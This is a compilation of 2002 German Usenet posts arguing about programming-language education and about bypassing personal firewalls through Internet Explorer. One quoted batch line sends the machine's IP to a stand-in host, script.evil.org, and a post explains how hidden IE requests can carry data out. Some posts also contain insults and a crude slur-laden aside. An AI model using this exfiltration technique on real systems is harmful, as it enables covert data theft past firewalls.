> "Haluk" <Ho...@gmx.de> writes:
> > Welche Programmiersprachen lernt ihr in Mainz? Java? Meine
> > Professor(inn)en lehren uns, daß man alle Programmiersprachen
> > beherrschen muß und nicht nur eine. Die Unterschiede zwischen den
> > Programmier(hoch)sprachen sind so gering, daß sie nach einer kurzen
> > Einarbeitungszeit überwunden sind.
>
> Super, aber das paßt leider nicht in eine sig. Zeig mir einen
> Menschen, der alle Programmiersprachen kann und ich zeige Dir den
> Stein der Weisen.
... und ich Dir eine neue Programmiersprache.
> Sagen dir brainfuck, lisp, ML, forth, prolog, APL, J, haskell
> und befunge etwas?
Die Zusammenstellung spricht für sich.
Rainer Weikusat
> Wer also hinreichende Kenntnisse in der logischen, funktionalen,
> imperativen und objektorientierten Programmierung hat, sollte schon
> ganz gut damit leben können.
Außer er stolpert versehentlich über ein Makefile, denn das ist
'erweitertes Prolog' (dh mit Funktionalität) und man nennt sowas
'deklarative Sprache' (und nicht 'logisches Programmieren', denn
'logischerweise' müßte alles andere dann 'nicht-logisches
Programmieren' sein und das sieht wieder nur wie ein blöder language
war aus).
'Objektorientiert' hat in Deiner Aufzählung auch überhaupt nichts zu
suchen, denn das ist ein Gliederungskonzept und kein Sprachtyp. Jedes
'Unterprogramm' in Pascal ist zB prinzipiell 'ein Objekt', denn es hat
eine interne Struktur, die nach außen hin nicht sichtbar ist und
kommuniziert mit der Außenwelt ausschließlich über ein definiertes
Interface. 'Objektorientiert' nennt man das üblicherweise, wenn man
das Prinzip 'Unterprogramm' auf beliebige viele parallelle
Instanzierungen mehrerer 'Unterprogramme', die jeweils über einen (pro
Instanz) gemeinsamen Zustand miteinander kommunizieren, ausweitet.
Einfaches Beispiel:
sub counter()
{
my $c;
return sub()
{
return $c++;
};
}
Konstruktionsbedingt gehören 'Objekte' zwangsläufig zu imperativen
Sprachen, denn sie modellieren lediglich normale Programme in solchen
Sprachen auf einer etwas tieferen Ebene. Methodenaufrufe verursachen
idR Seiteneffekte (sonst ginge es auch mit ordinären Konstanten),
'funktional' ist somit raus.
Würdet ihr bitte woanders weiterblubbern, zB in
de.sci.informatik.posing, falls das existieren sollte, oder an einem
ähnlich geeigneten Ort?
F'up2 poster
Joern Seemann
> Welche PF können umgangen werden? Ich konnte nichts finden. Und wie soll
> das geschehen?
Lesen bildet ungemein: http://piorio.supereva.it/backstealth.htm?p
Gruss Jörn
--
overnewsed but underinformed
Juergen P. Meier
> On Fri, 10 May 2002 13:12:42 +0200, "Haluk" <Ho...@gmx.de> wrote:
>
Daten durch jede Personalfirewall zu tunneln]
>>
>>Was soll dieser Link ausführen? Was wird getunnelt? Warum funktioniert das
>>nicht mit meinem IE?
>
> Schon den "Any"-Key gefunden?
*Psst* da das Haluk niemals eine Workstation zu gesicht bekommen wird,
duerfte er auch nie die "Any"-key auf einer US-Sun Typ5/6 Tastatur finden.
Juergen
--
J...@lrz.fh-muenchen.de - "This World is about to be Destroyed!"
begin nakedgirls.jpg.exe
If your Newsreader thinks this is an attachment then its broken.
end
Arno Welzel
>>>> simpleipreporter.cmd
>>>> start /min explorer http://script.evil.org/submit?myip=%IP%
>
>
> Was soll dieser Link ausführen? Was wird getunnelt? Warum funktioniert das
> nicht mit meinem IE?
Also: der oben aufgeführt Link ist nur *BEISPIELHAFT* zu sehen und
natürlich durch einen "echten" Server zu ersetzen.
Nachdem Du scheinbar zu dieser Denkleistung nicht fähig bist, extra
für Dich ein funktionierendes Beispiel:
start http://checkip.dyndns.org
Diese Befehlszeile ruft den IE mit der angegebenen URL auf.
Was hier mit reinen Kommandozeilenbefehlen noch recht
stümperhaft aussieht, lässt sich mit einem "richtigen" Programm
natürlich noch viel besser machen - z.B. den IE unsichtbar öffnen
und dann die aufzurufenden URLs via "Fernsteuerung" weitergeben
und das Ergebnis vom IE auslesen. Auch kann in die URL natürlich
beliebiger Inhalt als Parameter verpackt werden -- und wenn der
IE diese Anfrage erstmal erfolgreich verschickt hat, ist es sowieso
schon zu spät.
Nein - ich habe jetzt aus dem Kopf heraus keine Links, wo sowas
konkret demonstriert wird. Aber ich mache mir gern die Mühe, ein
derartiges Beispiel zu programmieren, wenn Du es mir erst dann
glauben magst.
Ciao, Arno
Arno Welzel
> In article <abf9o4$ckh$04$1...@news.t-online.com>, arno....@gmx.net says... [...]
>> Ein "böses" Programm nutzt den IE als Transportvehikel, reicht ihm die
>> Anfragen weiter. Der lokale Proxy wird diese Anfragen ohne Probleme
>> ebenfalls bearbeiten. Wo siehst Du da erhöhte Sicherheit?
>>
>
> habe ich soetwas behauptet? ich sage *nur*: lesen und verstehen
Also - ich zitiere nochmal aus Deinem Posting:
| <snip>
| Angenommen, es existiert in der PF eine Regel, die dem Internet Explorer
| erlaubt, Daten an den HTTP-Port eines Webservers zu senden, was in
| schätzungsweise über 95% der Fall ist, dann kann jede beliebige Anwendung
| auf dem System davon profitieren.
| <snap>
|
| funktionert bei verwendung lokaler proxys (webwasher & co sind als lokaler
| proxy im ie eingetragen) und genereller loopback regel hervorragend.
| ansonsten fragen die bemängelten produkte (pfw) schon nach, auch wenn die
| anwendung die ie-engine verwendet (active-x control), bsp. eudora, oe etc..
Dass habe ich so verstanden, dass Du der Meinung bist, der Einsatz eines
lokalen Proxys, wie z.B. Webwasher, würde davor bewahren, den IE zu
missbrauchen. Denn ohne Proxy ist man vor Missbrauch auf keinen Fall
geschützt - also wozu dann der Hinweis auf Proxies?
[...]
> ich war selber überrascht, wieviele mir bekannte *integere* leute
> letztenendes *verräter* wahren. es hilft mir gar nichts, wenn lutzt & co.
> *smarte jungen* sind.
> wieviele katholiken (geschweige denn der rest) konnten sich vorstellen das
> ihre institution (katholische kirche) ein *sammelbecken für kinderficker
> und homosexuelle* ist?
Du driftest langsam *etwas* vom Thema ab. Wir reden hier nicht über das
politische System der DDR und auch nicht darüber, welche menschlichen
Abgründe sich auftun, wenn es um Machtmissbrauch und die Bewahrung der
eigenen Pfründe geht.
>> Siehe oben -- nicht *Du* musst alles selber lesen, sondern Du kannst
>> davon ausgehen, dass viele andere Leute die Quelltexte gelesen haben und
>> Bugs oder Sicherheitslöcher eher bemerkt und abgestellt werden.
>
> *ich* habe nichts gegen offene quellcodes, aber joesixpack von der strasse
> interessiert sich nicht die bohne dafür.
> ebenso kann ich einen quellcode sehrwohl lesen, aber *verstehen* kann ich
> ihn noch lange nicht. insofern reduziert sich alles wieder nur auf ein
> imaginäres vertrauen. ich sehe aber keinen grund, hier irgendwelchen leuten
> mehr zu vertrauen als anderen (der mensch ist grundsätzlich verlogen und
> korrupt).
[...]
> der absolute teil von *hacks* basierte auf der sozialen (menschlichen)
> komponente. irgendwelche hard-/ software (egal ob open- oder closed source)
> hatte hier nichts, aber auch gar nichts verhindert (oder war involviert).
> mensch ist nun mal korrupt (war so, ist so, wird immer so sein).
Ack. Technik alleine hilft sicher nicht. Aber was ist dann die Lösung?
Alles wegschmeissen und sein Betriebssystem und alle nötigen Programm
dazu selber entwickeln?
Da ja Menschen grundsätzlich verlogen und korrupt sind, und man
niemandem vertrauen kann, ist es eigentlich hinfällig, *irgendeine*
Software einzusetzen, die man nicht selber entwickelt hat. Auch kann
man jegliche Sicherheitsmassnahmen auch gleich wegschmeissen, weil
diese Massnahmen im Zweifelsfall ohnehin nichts verhindern.
Ciao, Arno
Jens Grivolla
> Thomas Kaschwig <ne...@kaschwig.net> writes:
| Man lernt auch nicht explizit eine oder mehrere Programmiersprachen.
> > Ich weiss was er bedeutet, sonst hätte ich ihn nicht geschrieben. Könntest
> > Du mir mal bitte erklären, was Du daran auszusetzen hast?
>
> Falls jemand PostScript von Dir möchte, lernst Du halt
> PostScript. JAPL ...
Was hat das damit zu tun, dass es nicht Ziel des Studiums ist,
einzelne Sprachen zu lernen?
Ciao,
Jens
Rainer Weikusat
'Ziel des Studiums' ist es, irgendwann einen Arsch voll Geld mit wenig
Arbeit zu verdienen, oder, um Anselm Lingau zu zitieren, 'Informatik
hat nichts mit Computern zu tun'. Weil wir hier definitiv unterhalb
von de.comp sind, könnten diese Debatten hier freundlicherweise
unterbleiben.
Danke.
Tilman Schmidt
>Lesen bildet ungemein: http://piorio.supereva.it/backstealth.htm?p
Ich finde da nichts zu lesen, nur eine leere weiße Seite. ;-)
SCNR
--
Tilman Schmidt E-Mail: Tilman....@ePost.de
Bonn, Germany
- In theory, there is no difference between theory and practice.
In practice, there is.
Urs [Ayahuasca] Traenkner
> Joern Seemann <jo...@aumund.org> wrote:
>>Lesen bildet ungemein: http://piorio.supereva.it/backstealth.htm?p
> Ich finde da nichts zu lesen, nur eine leere weiße Seite. ;-)
Wenn man das Fragezeichen mit dem p weglaesst, ist es auf einmal auch
fuer paranoide Menschen geeignet :)
Gruss Urs...
--
Ein Buch ist wie ein Spiegel: wenn ein
Affe hineinsieht, so kann kein Apostel
herausgucken.
Georg Christoph Lichtenberg
Gerhard Schromm
> "Juergen P. Meier" <J...@lrz.fh-muenchen.de> schrieb:
>
> [zu Haluk]
>
>> Du bist so Begriffsstutzig. Leider bist du nicht nur eine Gefahr
>> fuer dich selbst, sondern auch fuer deine Umwelt.
> Wie Ratten. Wenn die gefüttert werden, kommen sie auch immer
> wieder.
Der Vergleich taugt nichts, Ratten sind lernfähig.
f'up2p
bye Gerhard
--
Hi! I'm a signature virus, copy me in your ~/.signature to help me spread.
Daniel
[..]
> > verändern will, auf einem gut konfigurierten Linux lediglich
> > ein eventueller Bug im Kernel[1], mit dessen Hilfe das
> > Rechtesystem untergraben werden kann. Sowas hat es schon
> > lange nicht mehr gegeben.
> Linux hatte mal einen Bug im Kernel, der es ermöglichte, das System zu
> kompromittieren. Das ist inzwischen ca. 2-3 Monate her, als es bekannt
> wurde.
>
http://www.netfilter.org/security/2002-02-25-irc-dcc-mask.html
<SNIP>
A bug in the implementation of this module causes the conntrack
expectation to
be less precise than it should, resulting in unwanted ports for
inbound
connections opened on the firewall.
</SNIP>
Wie machst du das? Liest du nur jedes zweite Wort? Oder immer nur die
Überschrift? Was hat der festgestellte Bug im Linux-Kernel mit
Benutzerrechten zu tun?
Genau: gar nix!
Versteh mich nicht falsch, ich behaupte nicht ein Sicherheitsexperte
von irgendeinem Betriebssystem zu sein, aber nachdem ich unzählige
deiner Postings gelesen habe, denke ich, es wäre besser für dich, wenn
du es auch nicht behaupten würdest.
Schau mal unter "Ignorant" im Lexikon, vielleicht findest du dein
Bild.
Ich freue mich schon auf deine Antwort, vielleicht bringst du es ja
fertig, mich mit Argumenten zu überzeugen, anstatt mich mit hohlen
Phrasen zu überschütten.
Daniel
Rainer Weikusat
> komplizierter,
... aber jemand wird wissen, wie's geht. Sollte 'mein System'
kompromittiert werden, kann jemand alle Kernel-patches seit 2.4.5
herunterladen und - schauder - alle meine *privaten* Umgebungsvariablen
sehen:
PATH=$HOME/bin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin:/usr/pkg/bin
PATH=${PATH}:/usr/pkg/sbin:/usr/games:/usr/local/bin:/usr/local/sbin
export PATH
EDITOR=vi
export EDITOR
EXINIT='set autoindent'
export EXINIT
PAGER=less
export PAGER
export CVS_RSH=/usr/bin/ssh
export CVSROOT=:ext:wc...@winter.inter-i.wohnheim.uni-mainz.de:/home/cvs/repo
Vertrauliche Daten gehören nicht auf öffentlich zugängliche
Computer. Bestenfalls verschlüsselt. Man sollte sich aber vor Augen
führen, das die meisten 'Interna' interner Unfug sind, der außer den
betroffenen Personen niemanden interessiert.
> Linux hatte mal einen Bug im Kernel, der es ermöglichte, das System zu
> kompromittieren.
Ach?
Lutz Donnerhacke
>Die Folgen dieser Mentalität:
>http://www.heise.de/newsticker/data/em-09.05.02-001/
EDS ist weder vertrauenwürdig noch in irgendeiner Weise qualifiziert,
Aussagen zu dem Thema zu machen. EDS ist einer der aggressivsten Outsourcer,
die keine Skrupel haben, Daten verschiedener Kunden untereinander
abzugleichen.
Lutz Donnerhacke
>Mir ist nicht bekannt, daß die Konfiguration einer Firewall Inhalt eines
>Informatik-Studiums ist und das ist auch gut so. Man lernt auch nicht
>explizit eine oder mehrere Programmiersprachen.
Ack. Dafür braucht man Physik, E-Technik oder ähnliches.
Thematisch gesehen qualifiziert ein absolviertes Informatikstudium dazu,
eine Aufgabe auf algorithmische Bearbeitbarkeit analysieren und
vorgeschlagene Lösungen zu prüfen. Der ausgebildete Informatiker ist als
Projektleiter einsetzbar, nicht als Coder, Techniker oder im Support.
Lutz Donnerhacke
>Lukas Geyer <lukas...@gmx.net> writes:
>> Sagen dir brainfuck, lisp, ML, forth, prolog, APL, J, haskell
>> und befunge etwas?
>
>Die Zusammenstellung spricht für sich.
http://www.iks-jena.de/mitarb/lutz/usenet/doc.html#Programmiersprache
Lutz Donnerhacke
>Genau. Sicherheit wuerde es bedeuten, wenn sowohl die
>Wahrscheinlichkeit den Boesewicht zu entlarven 1 betruege als auch die
>Wahrscheinlichkeit das der Boesewicht rauskommt 0 ist.
Aus gegebenen Anlaß möchte ich darauf hinweisen, daß eine Wahrscheinlichkeit
von Eins fast alle Möglichkeiten umfaßt, nicht jedoch wirklich alle. Eine
Wahrscheinlichkeit von Null umfaßt analog fast keine Möglichkeit.
Die Anzahl der Ausnahmen kann auch unbeschränkt, ja sogar überabzählbar sein.